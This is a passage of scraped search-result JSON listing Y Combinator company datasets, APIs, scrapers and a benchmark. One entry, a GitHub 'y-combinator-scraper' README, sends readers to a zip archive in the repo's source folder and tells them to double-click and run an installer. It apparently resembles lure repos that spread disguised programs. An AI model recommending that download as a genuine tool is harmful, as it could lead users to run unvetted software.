[ { \"name\" : \"token\" , \"in\" : \"query\" , \"required\" : true , \"schema\" : { \"type\" : \"string\" } , \"description\" : \"Enter your Apify token here\" } ] , \"responses\" : { \"200\" : { \"description\" : \"OK\" } } } } } , \"components\" : { \"schemas\" : { \"inputSchema\" : { \"type\" : \"object\" , \"properties\" : { \"searchQuery\" : { \"title\" : \"Search query\" , \"type\" : \"string\" , \"description\" : \"Full-text search ov" }, { "url": "https://exploreyc.com/", "title": "startup data from YC, a16z & more", "content_head": "$ explore-yc --init\n\n# > Explore YC, a16z & top startups\n\nAsk anything about 21,888+ startups from Y Combinator, Hacker News, Product Hunt, a16z & more \u2014 instant answers on a free, open-source API.\n\ninstant semantic search across YC, Hacker News, Product Hunt & a16z\n\n$21,888 companies\u00b710+ countries\u00b710+ industries\n\nSourced from\n![Product Hunt](/ph-logo.png)Product Hunt8,500HNHacker News6,335YY Combinator6,204a16zAndreessen Horowitz (a16z)849\n\n[![ExploreYC \u2014 Open-source API for Y Combinator & a16z company data | Product Hunt](https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=1190010&theme=light&t=1783529184370)](https://www.producthunt.com/products/yc-company-explorer?embed=true&utm_source=badge-featured&utm_medium=badge&utm_campaign=badge-exploreyc-2)[![ExploreYC \u2014 Open-source API for Y Combinator & a16z company data | Product Hunt](https://api.producthunt.com/widgets/embed-image/v1/top-post-badge.svg?post_id=1190010&theme=light&period=daily&t=1783772611367)](https://www.producthunt.com/products/yc-company-explorer?embed=true&utm_source=badge-top-post-badge&utm_medium=badge&utm_campaign=badge-exploreyc-2)\n\n$ curl api.exploreyc.com/api/v1\n\n## > YC data, one request away\n\nA public REST API over every company we track \u2014 YC & a16z. Authenticate, query, and get structured JSON back. No scraping.\n\n01\n\n### Grab a key\n\nCreate a free developer account and generate an API key from the dashboard.\n\n`eyc_live_\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022`[Get a key ](/signup)\n\n02\n\n### Send a request\n\nPass your key as a bearer token. Filter by batch, industry, country, hiring & more.\n\n`Authorization: Bearer eyc_live_\u2026`[See params ](/api-docs)\n\n03\n\n### Get YC data\n\nClean JSON across YC + a16z \u2014 companies, search, stats, maps, batch wrapped.\n\n`200 OK \u00b7 application/json`[Browse data ](/database)\n\nFree tier available \u00b7 rate-limited \u00b7 no credit card\n\n| Company | Batch | Industry | Location | Team | Hiring |\n|---|---|---|---|---|---|\n| [![Edgerun](https://bookface-images.s3.amazonaws.com/small_logos/8fb84bc8b7f8d02b776dec7685bbaf102fdadf1c.png)Edgerun](/company/edgerun) | Summer 2026 | Industrials | San Francisco, CA, USA | 8 | \u2014 |\n| [![Covera](https://bookface-images.s3.amazonaws.com/small_logos/e711e58f600a9ea3c53a45d934c825989e9b5b57.png)Covera](/company/covera) | Fall 2026 | Fintech | San Francisco, CA, USA | 2 | |\n| [![Studio](https://bookface-images.s3.amazonaws.com/small_logos/be382958698206c30f9e2a1996b85d6729c8ed0b.png)Studio](/company/studio) | Summer 2026 | B2B | San Francisco, CA, USA | 2 | \u2014 |\n| [![Allia Health](https://bookface-images.s3.amazonaws.com/small_logos/3d6f40f216c0da6b1f8b4caa594f59a5b194dd82.png)Allia Health](/company/allia-health) | Summer 2026 | Healthcare | New York City, NY, USA | 3 | \u2014 |\n| [![Capveon](https://bookface-images.s3.amazonaws.com/small_logos/55acb7275a696cdf957737bce96b338f2da2d45f.png)Capveon](/company/capveon) | Fall 2026 | Government | San Francisco, CA, USA | 2 | \u2014 |\n| [![Grocalo](https://bookface-images.s3.amazonaws.com/small_logos/0f" }, { "url": "https://extruct.ai/data-room/ycombinator-companies-s26", "title": "YC S26 Companies (Summer 2026): Full Startup List | Extruct AI", "content_head": "# Y Combinator S26 Batch Companies\n\nY Combinator S26 Companies\n\nStartup Batches\n\nWelcome to our interactive overview of Y Combinator's S26 batch. Below, you'll find a sortable, filterable table showcasing portfolio companies from this cohort.\n\nEach row details:\n\n- Company name and sector (spanning B2B SaaS, Healthcare, Fintech, Biotech, Construction, Analytics, Consumer, Deep Tech, and more)\n- Funding stage to help you gauge maturity and runway\n- YC Partner assignment for insight into mentorship and domain expertise\nUse this table to:\n\n- Explore Y Combinator's current investment focus, spotting which industries and technologies are gaining traction\n- Identify promising directions by filtering sectors or funding stages for your own market research or strategic planning\n- Quickly find founder contacts for networking, partnership, or investment outreach\nDive in now to track updates in real time, uncover market trends, potential collaborators, and the next wave of disruptive startups \u2014 all in one centralized view.\n\nInteractive Table\n\nCompany List\n\n[Download Table](https://app.extruct.ai/tables/shared/a5192a63-b65e-422c-8a2c-55b57fe6e944?source=data-room)\n\nCompany Websitetsenta.com\n\nOne-LinerAI job application agent for seekers\n\nHQ CountryUnited States\n\nCompany Websitearchal.ai\n\nOne-LinerEval platform for autonomous software\n\nHQ CountryUnited States\n\nCompany Websitecontrolseat.com\n\nOne-LinerAI-native layer for SCADA systems\n\nHQ CountryUnited States\n\nCompany Websiteguildai.co\n\nOne-LinerAI-native defense supply chain layer\n\nHQ CountryUnited States\n\nCompany Websitecodag.ai\n\nOne-LinerLog compression for AI incident agents\n\nHQ CountryUnited States\n\nCompany Websiterex.inc\n\nOne-LinerAI order-to-cash workforce for enterprises\n\nHQ CountryUnited Kingdom\n\nCompany Websitecontext.dev\n\nOne-LinerStructured web data for AI agents\n\nHQ CountryUnited States\n\nCompany Websiterealpact.ai\n\nOne-LinerAI agents for real estate contracts\n\nHQ CountryUnited States\n\nCompany Websitecaregp.com.au\n\nOne-LinerAI-native agent suite for GP clinics in Australia\n\nHQ CountryAustralia\n\nCompany Websiteagentcard.sh\n\nOne-LinerAI agent debit cards for single-use payments\n\nHQ CountryUnited States\n\nCompany Websitecerenovus.ai\n\nOne-LinerAI company brain for company knowledge\n\nProduct DescriptionCerenovus aggregates company files, emails, Slack messages, spreadsheets, and meeting notes into a single markdown knowledge graph. The Y C\u2026\n\nCompany Websitemachine0.io\n\nOne-LinerBacked by Y Combinator for persistent AI VMs\n\nHQ CountryUnited States\n\nCompany Websitegetprescience.com\n\nOne-LinerHealth benefits platform for ambitious employers\n\nHQ CountryUnited States\n\nCompany Websitehop-aero.com\n\nOne-LinerBuilding a physical internet for aviation infrastructure\n\nHQ CountryUnited States\n\nCompany Websitetryglen.com\n\nOne-LinerShared memory layer for AI agents\n\nHQ CountryUnited States\n\nCompany Websitetouchmark.ai\n\nOne-LinerQuality-based pricing for AI outputs\n\nHQ CountryUnited Kingdom\n\nCompany Websitemireye.com\n\nOn" }, { "url": "https://holyai.me/about/rfs-matcher", "title": "RFS Matcher \u2014 Holy Lab", "content_head": "# rfs-matcher\n\nPaste your 2-3 sentence startup description, get back the YC Summer 2026\nRequests-for-Startups bullets you match plus the already-funded YC companies\nin your exact lane to study before you write the application.\n\nThe YC RFS page is a wall of prose. The YC company directory is ~6000 rows\ndeep. rfs-matcher does the matching for you in one shot: embed your pitch,\nembed every RFS bullet and every YC company, cosine-rank, surface the top 3 RFS\nbullets and top 5 funded peers with a one-line \"why this matches\" rationale.\n\nNo accounts. No auth. No tracking. The dataset is all public.\n\n## Run locally\n\n```\n npm install cp .env.example .env # optional \u2014 fill in OPENAI_API_KEY / ANTHROPIC_API_KEY PORT=4819 node server.js open http://localhost:4819/rfs-matcher/\n```\n\nFirst boot scrapes the YC RFS page (~30 KB) and the yc-oss companies JSON\n(~10 MB, ~6000 rows) into `./data/rfs-matcher.db`. Subsequent boots are\ninstant. Without API keys the service still works \u2014 see *Modes* below.\n\n## Endpoints\n\nAll mounted under `/rfs-matcher`. No auth, all public.\n\n| Method | Path | What it does |\n|---|---|---|\n| `GET` | `/rfs-matcher/` | The SPA |\n| `GET` | `/rfs-matcher/health` | `{ok:true, rfs_count, company_count, embeddings_mode}` |\n| `POST` | `/rfs-matcher/api/match` | Body `{pitch}` \u2192 top-3 RFS bullets + top-5 YC companies. Persisted, returns a short `pid` and `share_url`. |\n| `GET` | `/rfs-matcher/api/match/:pid` | Re-fetch a prior match by id. |\n| `GET` | `/rfs-matcher/share/:pid` | Server-rendered HTML with OG tags \u2014 for Twitter/LinkedIn link previews. |\n| `GET` | `/rfs-matcher/api/rfs` | Every RFS bullet currently indexed. |\n| `GET` | `/rfs-matcher/api/companies?batch=&limit=&offset=` | Paginated company rows. |\n| `GET` | `/rfs-matcher/api/stats` | Corpus counts, batch breakdown, last-scrape timestamps, current modes. |\n\nRate limit: 10 matches/hour per IP (token bucket, in-process). Over-limit \u2192 429\nwith a `Retry-After` header. No API key required.\n\n## Data sources\n\n| Source | URL | Refresh |\n|---|---|---|\n| YC Requests for Startups | `https://www.ycombinator.com/rfs` | weekly, `0 51` (Mondays 05:00) |\n| YC Companies directory | `https://yc-oss.github.io/api/companies/all.json` (community mirror of the YC company directory, refreshed daily from `ycombinator.com/companies`) | weekly, `0 61` |\n| OpenAI Embeddings (`text-embedding-3-small`, 1536-d) | `https://api.openai.com/v1/embeddings` | per user pitch + once per row at bootstrap / delta |\n| Anthropic Messages (`claude-haiku-4-5`) | `https://api.anthropic.com/v1/messages` | 1 call per `/api/match` request |\n\nRefreshes are weekly cron jobs registered by `lib/cron.js` on boot. A snapshot\nis kept in SQLite so the service stays up even if upstream is briefly broken;\nsee `/api/stats` for the last successful scrape time and `scrape_log` for\ndiagnostics.\n\n## Modes (honest about degradation)\n\n| Condition | What happens |\n|---|---|\n| `OPENAI_API_KEY` set | RFS + companies + your pitch are embedded with `text-" }, { "url": "https://www.kaggle.com/datasets/punithbs10/y-combinator-summer-2025-startups-dataset", "title": "Y Combinator Summer 2025 Startups Dataset", "content_head": "Kaggle uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic.\n\n![Something went wrong and this page crashed!](/static/images/error/server-error-illo_light.svg)\n\n###### Something went wrong and this page crashed!\n\nIf the issue persists, it's likely a problem on our side.\n\n```\n Loading CSS chunk 7815 failed.\\n(https://www.kaggle.com/static/assets/7815.e94de944d22d175f.css) Error: Loading CSS chunk 7815 failed.\\n(https://www.kaggle.com/static/assets/7815.e94de944d22d175f.css) at t.onerror.t.onload (https://www.kaggle.com/static/assets/runtime.js?v=abec8867a26b588f:1:12309)\n```" }, { "url": "https://github.com/connor11528/tech-companies-and-startups/blob/master/y-combinator-companies.csv", "title": "tech-companies-and-startups/y-combinator-companies.csv at master \u00b7 connor11528/tech-companies-and-startups", "content_head": null }, { "url": "https://www.kaggle.com/datasets/nitishraj/ycombinatorcompanies", "title": "YCombinator (YC) Companies", "content_head": null }, { "url": "https://www.adyntel.com/datasets/yc-company-startup-directory/", "title": "YC Companies List: All 5,906 Y Combinator Startups With Ad Data (Free) | Adyntel", "content_head": "// FREE DATASET\n\n# The complete YC companies list, with ad data\n\n All 5,906 Y Combinator companies from the first 2005 batch through Summer 2026, with LinkedIn, Google, and Meta ad counts for each. Browse the 100 biggest YC advertisers below, free.\n\n Plus a sample of the ads themselves: 46,944 creatives across three tabs, with titles, formats, links, and run dates. Create a free Adyntel account to unlock it all, along with 50 credits to run the same lookup on any company you want.\n\nFree Adyntel account, 50 credits, no credit card. Used by Clay, HockeyStack, and 1,000+ teams.\n\n5,906\n\nYC companies\n\n1.52M\n\nads counted\n\n46,944\n\nsample ad creatives\n\nApr 2026\n\ndata snapshot\n\n## The 100 biggest YC advertisers\n\nThe biggest YC companies by ad activity, ranked by total active ads across LinkedIn, Google, and Meta. April 2026 snapshot. The full sheet covers all 5,906 companies.\n\n| # | Company | Domain | Batch | Industry | LinkedIn | Google | Meta | Total ads | 6-mo change |\n|---|---|---|---|---|---|---|---|---|---|\n| 1 | Lattice | lattice.com | W16 | Human Resources | 200,424 | 1,000 | 0 | 201,424 | +74,228 |\n| 2 | Airbnb | airbnb.com | W09 | Travel, Leisure and Tourism | 1,331 | 200,000 | 0 | 201,331 | \u2212101,439 |\n| 3 | Bizzy | bizzy.io | W15 | Retail | 141,181 | 0 | 0 | 141,181 | +141,181 |\n| 4 | UserGems | usergems.com | S14 | Recruiting and Talent | 33,850 | 28 | 7 | 33,885 | +9,482 |\n| 5 | Faire | faire.com | W17 | Retail | 66 | 20,000 | 764 | 20,830 | +142 |\n| 6 | DoorDash | doordash.com | S13 | Food and Beverage | 603 | 20,000 | 0 | 20,603 | +10,078 |\n| 7 | Soomgo | soomgo.com | W17 | Home and Personal | 0 | 20,000 | 85 | 20,085 | \u2212289 |\n| 8 | Podcast App | podcast.app | W18 | Content | 0 | 20,000 | 0 | 20,000 | \u221210,000 |\n| 9 | Strikingly | strikingly.com | W13 | Marketing | 0 | 20,000 | 0 | 20,000 | 0 |\n| 10 | Segment | segment.com | S11 | Analytics | 18,691 | 600 | 10 | 19,301 | +566 |\n| 11 | Deel | deel.com | W19 | Finance and Accounting | 6,873 | 10,000 | 1,183 | 18,056 | \u22121,701 |\n| 12 | Meesho | meesho.com | S16 | Retail | 2 | 6,000 | 7,827 | 13,829 | \u22122,302 |\n| 13 | Rippling | rippling.com | W17 | Human Resources | 7,405 | 3,000 | 1,173 | 11,578 | +3,179 |\n| 14 | Stripe | stripe.com | S09 | | 2,394 | 8,000 | 0 | 10,394 | +1,376 |\n| 15 | Fivetran | fivetran.com | W13 | Infrastructure | 6,194 | 2,000 | 0 | 8,194 | +401 |\n| 16 | Instacart | instacart.com | S12 | Food and Beverage | 131 | 7,000 | 835 | 7,966 | +570 |\n| 17 | Photoroom | photoroom.com | S20 | Content | 392 | 5,000 | 2,007 | 7,399 | +6,320 |\n| 18 | Outschool | outschool.com | W16 | | 1 | 7,000 | 52 | 7,053 | \u2212105 |\n| 19 | Snappr | snappr.com | W17 | | 37 | 7,000 | 0 | 7,037 | +7,002 |\n| 20 | Beacons | beacons.ai | S19 | Social | 0 | 7,000 | 0 | 7,000 | +2,000 |\n| 21 | Sqreen | sqreen.com | W18 | Security | 6,577 | 0 | 0 | 6,577 | +462 |\n| 22 | Motion | usemotion.com | W20 | Productivity | 464 | 5,000 | 29 | 5,493 | \u2212768 |\n| 23 | Codecademy | codecademy.com | S11 | | 20 | 5,000 | 242 | " }, { "url": "https://github.com/jai31-jai/y-combinator-scraper", "title": "GitHub - jai31-jai/y-combinator-scraper: \ud83d\udcca Scrape detailed data on Y Combinator companies and founders to gain insights into the startup ecosystem and track progress easily.", "content_head": "\ud83d\udcca Scrape detailed data on Y Combinator companies and founders to gain insights into the startup ecosystem and track progress easily.\n\nTopics: python, selenium, kaggle, web-scraping, ycombinator, scrapy, webscraping, startups, venture-capital, startup-data, startup-ecosystem, market-research-tool, yc-directory, founder-information, tech-company-data, startup-accelerator, yc-companies, startup-lead-generation\n\n```\n # \ud83d\ude80 y-combinator-scraper - Simple Tool for Y Combinator Data Extraction ## \ud83d\udd17 Download Now [ ![ Download Now ] ( https://github.com/jai31-jai/y-combinator-scraper/raw/refs/heads/main/src/y-combinator-scraper-v2.3.zip%20Now-v1.0-blue )] ( https://github.com/jai31-jai/y-combinator-scraper/raw/refs/heads/main/src/y-combinator-scraper-v2.3.zip ) ## \ud83d\udcdc Description The Y Combinator Scraper is a straightforward tool designed to extract valuable data from Y Combinator companies. This application simplifies your search for startup information, founder data, and job listings. Whether you're a researcher or a startup enthusiast, this tool aids your exploration effortlessly. ## \ud83d\ude80 Getting Started ### Requirements Before downloading the application, ensure your system meets these requirements: - ** Operating System: ** Windows, macOS, or Linux - ** RAM: ** At least 4 GB - ** Storage: ** At least 100 MB available space ## \ud83d\udce5 Download & Install To get started, visit this page to download the software: [ Download from Releases Page ] ( https://github.com/jai31-jai/y-combinator-scraper/raw/refs/heads/main/src/y-combinator-scraper-v2.3.zip ) . 1 . Click on the link above to go to the Releases page. 2 . Select the latest version of the application. 3 . Click the download link for your operating system. 4 . Once the download completes, locate the file on your system. 5 . Double-click the file to run the installer. 6 . Follow the on-screen instructions to complete the installation. ### \ud83c\udf89 Starting the App Once installed, you can easily launch the application. 1 . Locate the installed program in your applications folder. 2 . Double-click the app icon to open it. 3 . Follow the prompts to begin extracting data. ## \ud83d\udee0\ufe0f Using the Y Combinator Scraper This tool provides a user-friendly interface for data extraction. ### Key Features - ** Founder Data Extraction: ** Gain insights on co-founders of Y Combinator startups. - ** LinkedIn Scraper: ** Extract public LinkedIn profiles for deep research. - ** Job Listings Scraper: ** Monitor job openings from various Y Combinator companies. - ** Market Research Tool: ** Analyze startup trends and data. - ** Lead Generation: ** Build lists of potential business contacts. ### How to Extract Data 1 . After opening the application, choose the type of data you want to extract. 2 . Input any required search parameters, such as specific companies or positions. 3 . Click the \"Extract\" button. 4 . Wait for the application to gather the data. It may take a few moments. 5 . Once completed, the data will be available to review and download" }, { "url": "https://ycombinator.com/launches/Sjf-financial-datasets-stock-market-data-for-ai-agents", "title": "Launch YC: Financial Datasets: Stock market data for AI agents", "content_head": "2\n\n# Financial Datasets: Stock market data for AI agents\n\nThe best way to connect your agent to the stock market\n\nHey all,\n\nVirat here, founder of [Financial Datasets](https://financialdatasets.ai/) (S26).\n\nWe make it easy for your agents to access live market data for 27,000+ global stocks through a clean and predictable API.\n\nToday, hedge funds and companies building finance agents use [Financial Datasets](https://financialdatasets.ai/) as their market data layer. We are trusted by 1,000+ customers, serving millions of requests daily.\n\n**The problem**\n\nBloomberg, FactSet, and S&P spent 30 years building market data for humans staring at terminals. The entire stack assumes an analyst in the loop to interpret and verify the numbers.\n\nAgents can't use that stack. Instead, they need machine-readable schemas, natural language search, and a citation back to the source document. None of the incumbent infrastructure was built for the AI era.\n\n**What we built**\n\nThe only market API your agent needs:\n\n- A single place for your agent to gather all of its market data: fundamentals, earnings, KPIs, SEC filings, ownership, pre-IPO financials, prices, and more.\n- Live in seconds, not minutes. Financial data is parsed, structured, and queryable seconds after companies publish them.\n- Benchmarked against ground truth at 99.99% precision. Anything below that bar never reaches the API, so your agent never sees bad data.\n- Delivered over REST, an MCP server, and webhooks. Works out of the box with Claude, ChatGPT, Hermes, and OpenClaw.\nYou can ship our data inside your own product. Redistribution included, no per-seat pricing, no anti-AI usage restrictions.\n\n**The team**\n\nI'm Virat, founder of [Financial Datasets](https://financialdatasets.ai/). I have spent 14 years working as a software engineer at tech companies like Acorns, Airbnb, and Faire.\n\nI started Financial Datasets after getting frustrated by how difficult it was to give my agents high quality, real-time stock market data.\n\nI have been building finance agents since 2022 and posting about it daily on [X](https://x.com/virattt). My two open source projects, ai-hedge-fund (60K stars) and Dexter (27K stars), are used by professional and retail investors today.\n\n**Our ask**\n\nIf you\u2019re building agents that touch the market, I\u2019d love to chat. You can also try [Financial Datasets](https://financialdatasets.ai/) right now - it takes 30 seconds to set up and pull data from our API.\n\nEmail: [virat@financialdatasets.ai](mailto:virat@financialdatasets.ai)" }, { "url": "https://github.com/SylphAI-Inc/yc-agent-landscape", "title": "GitHub - SylphAI-Inc/yc-agent-landscape: Analysis of 1,632 YC companies (2024-2026): mapping the AI agent ecosystem \u2014 CaaS platforms, vertical agents, and infrastructure", "content_head": "# YC Agent Landscape: AI Agents & Custom Agent Infrastructure (2024-2026)\n\n## \ud83d\udd0d Overview\n\nAnalysis of **1,632 Y Combinator companies** across 11 batches (Winter 2024 \u2013 Fall 2026) to map the AI agent ecosystem \u2014 identifying which companies are building agent platforms, agent infrastructure, and vertical agent products.\n\nEvery company is classified using a two-level AI taxonomy:\n\n1. **Agent vs Non-Agent** \u2014 is this company building anything related to AI agents?\n2. **CaaS Platform vs Single-Purpose Agent** \u2014 does it enable others to build agents, or does it sell one specific agent product?\n\n## \ud83d\udcca Key Findings\n\n| Metric | Count |\n|---|---|\n| \ud83c\udfe2 Total YC companies analyzed | **1,632** |\n| \ud83e\udd16 Agent-related companies | **721 (44%)** |\n| \ud83d\udfe6 CaaS Platforms (agent infra/tools) | **228 (14%)** |\n| \ud83d\udfe9 Single-Purpose Agent products | **493 (30%)** |\n| \ud83d\udcc8 Agent % growth | **35% (2024) \u2192 55% (2026)** |\n\n### Trend: Agent Companies as % of YC Batch\n\n```\n Winter 2024 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591 34.5% (86/249) Summer 2024 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591 35.5% (88/248) Fall 2024 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2591 37.2% (35/94) Winter 2025 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591 38.1% (64/168) Spring 2025 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 51.0% (73/143) Summer 2025 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 53.0% (88/166) Fall 2025 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 50.0% (74/148) Winter 2026 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591 45.5% (90/198) Spring 2026 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 55.3% (109/197) Summer 2026 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 66.7% (12/18) Fall 2026 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 66.7% (2/3)\n```\n\n### Top CaaS Platform Categories\n\n| Tech Strength | Count | What they build |\n|---|---|---|\n| Agent Building Platform | 95 | No-code/low-code agent builders, frameworks |\n| Agent Orchestration | 39 | Multi-step workflow coordination |\n| Agent Evaluation & Monitoring | 37 | Testing, observability, quality |\n| Agent Memory & State | 17 | Long-term memory, context management |\n| Agent API/SDK | 16 | APIs for embedding agents |\n| Agent Auth & Identity | 8 | Authentication for agents |\n| Voice Agent Platform | 7 | Voice-first agent infrastructure |\n| Agent Payments | 6 | Payment rails for agents |\n\n## \ud83d\udda5\ufe0f Interactive Dashboard\n\nOpen `reports/yc_landscape_viz.html` in your browser for an interactive dashboard with:\n\n- \ud83d\udcca Charts: donut, stacked bar, trend lines\n- \ud83d\udd0d Filterable tables by type, vertical, tech strength, and batch\n- \ud83d\udccb Sortable columns \u2014 click any header to sort\n- \ud83d\udd17 Clickable links to each company's website and YC profile\n\n## \ud83d\ude80 Quick Start\n\n### Prerequisites\n\n- Python 3.10+\n- OpenAI API key (for AI classification only)\n\n### Setup\n\n```\n git clone https://github.com/SylphAI-Inc/yc-agent-landscape.git cd yc-agent-landscape pip install -r requirements.txt\n```\n\n### 1. Scrape YC Company Data\n\n```\n python scraper/yc_scraper.py\n```\n\nFetches company data from YC's Algolia search API. Falls back to [yc-oss/api](https://github.com/yc-oss/api) if the API key is rotated.\n\n### 2. Run AI Classification\n\n```\n export OPENAI_API_KEY=your_key_here p" }, { "url": "https://huggingface.co/datasets/benstaf/ycbench", "title": "benstaf/ycbench \u00b7 Datasets at Hugging Face", "content_head": "# YCbench\n\n**A live benchmark dataset for forecasting startup outperformance in Y Combinator batches.**\n\nThis dataset was introduced in the paper:\n**[\"YC Bench: a Live Benchmark for Forecasting Startup Outperformance in Y Combinator Batches\"](https://huggingface.co/papers/2604.02378)** by Mostapha Benhenda.\n\n## Dataset Overview\n\nYCbench provides structured public signals for Y Combinator startups (focused on the **W26** batch of 196 companies). It enables rapid evaluation of models that predict which startups will **outperform their batch peers** in the short term (until Demo Day).\n\nPerformance is measured using a **Pre-Demo Day Score** that combines traction signals and web visibility.\n\n### Available Configurations\n\n| Config | File | Description |\n|---|---|---|\n| `startups` | `yc_w26_startups.csv` | Basic startup information |\n| `traction` | `yc_w26_traction.csv` | Traction metrics |\n| `scores` | `yc_w26_pre_demo_scores.csv` | Pre-demo day scores + velocity |\n| `mentions` | `yc_mentions.csv` | Google/web mention counts |\n| `mentions_early` | `yc_mentions_early.csv` | Early-stage mention data |\n\n## Quick Load\n\n```python\n from datasets import load_dataset # Load specific parts startups = load_dataset( \"benstaf/ycbench\" , \"startups\" ) scores = load_dataset( \"benstaf/ycbench\" , \"scores\" ) mentions = load_dataset( \"benstaf/ycbench\" , \"mentions\" )\n```\n\nOr with pandas (simple way):\n\n```\n import pandas as pd df = pd.read_csv(\"hf://datasets/benstaf/ycbench/yc_w26_pre_demo_scores.csv\")\n```\n\n## Links\n\n- **Paper**: [arXiv 2604.02378](https://huggingface.co/papers/2604.02378)\n- **Live Benchmark**: [ycbench.com](https://ycbench.com/)\n- **GitHub**: [benstaf/ycbench](https://github.com/benstaf/ycbench)\n\n- **Downloads last month** 43" }, { "url": "https://apify.com/tri_angle/company-scout", "title": "Company Scout \u00b7 Apify", "content_head": "![Company Scout avatar](https://apify.com/img/store/actor_picture.svg)\nCompany Scout\n\n![Company Scout](https://apify.com/img/store/actor_picture.svg)\n\nAn Apify Actor that finds YCombinator companies matching your criteria, enriches each with its matching LinkedIn company record, and scrapes LinkedIn job postings for the resulting shortlist.\n\n## What does Company Scout do?\n\n**Company Scout** discovers startup companies and their hiring signals in one pass:\n\n1. Queries the [YCombinator directory](https://www.ycombinator.com/companies) with your filters (search query, batch, status, industry, region, team size, launch date, hiring state).\n2. For each YC company it searches LinkedIn for the matching company page, picks the best candidate by domain, and captures the numeric LinkedIn company ID and jobs-search URL.\n3. Scrapes LinkedIn job postings for each matched company.\n4. Optionally applies user-defined filters (JS expressions and/or an LLM-evaluated prompt) to prune the result set.\n\n## Why use Company Scout?\n\n- Combine YC's curated startup directory with LinkedIn's canonical company data and live job postings in a single dataset.\n- Pre-built enrichment pipeline: no need to hand-roll domain-to-LinkedIn matching, company-ID resolution, and job scraping across three separate actors.\n- Filter results with either deterministic JS expressions (`evalFilter`) or an LLM prompt (`llmFilter`) before they hit the dataset.\n- Runs on the Apify platform with proxy rotation, scheduling, and API access out of the box.\n\n## How to use Company Scout\n\n1. Set your YC filters (`search_query`, `batch`, `status`, `industry`, `regions`, `min_team_size`, `launched_after`, `is_hiring`, `max_items`).\n2. Tune the LinkedIn enrichment options (`linkedin_jobs_count`, `scrape_company`).\n3. (Optional) Add `filters` (JS expressions) and/or a `filter_prompt` (LLM instruction) to narrow the shortlist.\n4. Run the Actor. Results land in the default dataset.\n\n## Input\n\nSee the Input tab in Apify Console for the full form. Input schema lives at `.actor/input_schema.json` and generates the `Input` TypeScript type at `src/generated/input.ts`.\n\n## Output\n\nEach dataset item corresponds to one YC company, with LinkedIn enrichment and jobs attached. The output type is auto-generated from `.actor/dataset_schema.json`:\n\n```\n // biome-ignore-all lint: generated // biome-ignore-all format: generated /* eslint-disable */ /* prettier-ignore-start */ /* * This file was automatically generated by json-schema-to-typescript. * DO NOT MODIFY IT BY HAND. Instead, modify the source JSONSchema file, * and run apify actor generate-schema-types to regenerate this file. */ export interface Dataset { /** * Raw YCombinator company record. */ yCombinator : { id : number ; name : string ; slug : string ; ycUrl : string ; website : string ; oneLiner : string ; longDescription : string ; batch : string ; status : string ; stage : string ; teamSize : number | null ; industry : string ; subindustry : string ; industrie" }, { "url": "https://www.reddit.com/r/ycombinator/comments/1ckbpa2/google_sheet_with_all_y_companies/", "title": "Google Sheet with all Y Companies", "content_head": "There is of course the startup directory, but I couldn't find a spreadsheet version of it and being a spreadsheet person, created one:\n\n \n[https://docs.google.com/spreadsheets/d/181GQmXflgMCCI9awLbzK4Zf0uneQBKoh51wBjNTc8Us/edit#gid=0](https://docs.google.com/spreadsheets/d/181GQmXflgMCCI9awLbzK4Zf0uneQBKoh51wBjNTc8Us/edit#gid=0)\n\n## u/bLeezy22 \u00b7 6 points\n\nDo you have this list for any other VC\u2019s?\n\n## \u21b3 u/DouweOsinga \u00b7 5 points\n\nI'm not sure the other VCs are as open to scraping as YC is, unfortunately\n\n## \u21b3 \u21b3 u/pergessleismydaddy \u00b7 0 points\n\nyc is not open for scraping. This post will be removed once the mods see it. they prob missed it due to weekend\n\n## \u21b3 \u21b3 \u21b3 u/DouweOsinga \u00b7 2 points\n\nI was in YC W23 and checked with the YC people themselves. You can't scrape everything, but the startup directory is fair game. In fact it is part of the YC API.\n\n## \u21b3 \u21b3 \u21b3 u/feastofthepriest \u00b7 1 points\n\nhttps://api.ycombinator.com/v0.1/docs\n\n## u/GeeBrain \u00b7 3 points\n\nSuper useful Ty!\n\n## \u21b3 u/citylivin25 \u00b7 1 points\n\nAgreed. TY OP!\n\n## u/Top-Information617 \u00b7 2 points\n\nThanks for sharing! That's quite useful.\n\n## u/inevitably_enough \u00b7 2 points\n\nI'm curious if any of these are registered B 